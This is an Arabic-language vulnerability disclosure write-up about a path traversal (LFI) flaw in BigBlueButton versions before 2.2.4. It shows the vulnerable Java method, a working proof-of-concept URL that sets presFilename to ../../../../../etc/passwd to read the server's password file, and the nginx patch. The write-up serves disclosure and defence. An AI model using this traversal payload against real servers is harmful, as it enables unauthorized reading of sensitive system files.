
إصدارات BigBlueButton الأقل من 2.2.4 تحتوي على ثغرة LFI تسمح بالوصول إلى ملفات حساسة. 🚨
إصدارات BigBlueButton الأقل من 2.2.4 تحتوي على ثغرة LFI تسمح بالوصول إلى ملفات حساسة.
خلال دورة تعليم عن بعد على مثيل BigBlueButton، شارك أحد الطلاب في صفي رابط عرض الشرائح الخاص بمدرسي ولاحظت أن اسم الملف كان مضمنًا في الرابط.

الطالب: "لا حاجة لكتابة الملاحظات، لدي الشريحة."
أنا: حسنًا، لدي تقرير أمني لأعدّه. 😂
من خلال اللعب بها قليلاً، تمكنت من الوصول إلى ملف /etc/passwd للخادم واكتشفت وجود ثغرة أمنية في حل Big Blue Button مفتوح المصدر.
أبلغت عن الثغرة، وكان فريق BBB سريعًا في الرد عليّ وتصحيح الثغرة (في غضون أيام قليلة فقط).
public File getDownloadablePresentationFile(String meetingId, String presId, String presFilename) {
log.info("Find downloadable presentation for meetingId={} presId={} filename={}", meetingId, presId, presFilename);
File presDir = Util.getPresentationDir(presentationBaseDir, meetingId, presId);
return new File(presDir.getAbsolutePath() + File.separatorChar + presFilename);
}
كما ترى، هذه الطريقة المستخدمة بواسطة PresentationController تسمح لك بتنزيل ملف عرض من خلال دمج 3 معاملات.
هذا يجعل من الممكن الحصول على روابط مثل:
https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500.pdf
لاستغلال الثغرة، فقط احصل على رابط صالح لملف عرض وقم بتعديل المعامل presFilename للوصول إلى ملفات حساسة.
https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=../../../../../etc/passwd

قام فريق BBB بتصحيح الثغرة في الإصدار 2.2.4 من خلال قاعدة تكوين الخادم (HTTP)، وregex، وتنسيق دقيق لاسم الملف.
location /bigbluebutton/presentation/download {
return 404;
}
location ~ "^/bigbluebutton/presentation/download\/[0-9a-f]+-[0-9]+/[0-9a-f]+-[0-9]+$" {
if ($arg_presFilename !~ "^[0-9a-f]+-[0-9]+\.[0-9a-zA-Z]+$") {
return 404;
}
proxy_pass http://127.0.0.1:8090$uri$is_args$args;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# Workaround IE refusal to set cookies in iframe
add_header P3P 'CP="No P3P policy available"';
}